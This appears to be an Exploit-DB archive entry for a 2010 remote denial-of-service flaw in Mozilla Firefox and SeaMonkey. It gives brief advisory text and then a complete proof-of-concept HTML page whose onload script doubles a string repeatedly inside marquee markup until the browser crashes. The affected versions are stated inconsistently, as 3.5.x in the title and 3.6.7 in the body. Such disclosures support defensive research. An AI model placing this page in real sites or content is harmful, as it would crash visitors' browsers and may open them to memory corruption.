Mozilla Firefox 3.5.x and SeaMonkey 2.0.1 - Remote Denial of Service

EDB-ID:

33607

CVE:

N/A


Author:

599eme Man

Type:

dos


Platform:

Multiple

Date:

2010-02-07


source: https://www.securityfocus.com/bid/38132/info

Mozilla Firefox and SeaMonkey are prone to a remote denial-of-service vulnerability.

Successful exploits may allow an attacker to crash the affected browser, resulting in a denial-of-service condition. Given the nature of this issue, memory corruption or code execution might be possible, but has not been confirmed.

The issue affects Firefox 3.6.7 and SeaMonkey 2.0.1; other versions may also be affected.

<body onload="javascript:DoS();"></body> <script> function DoS() { var buffer = 'A'; for (i =0;i<150;i++) { buffer+=buffer+'A'; document.write('<html><marquee><h1>'+buffer+buffer); } } </script>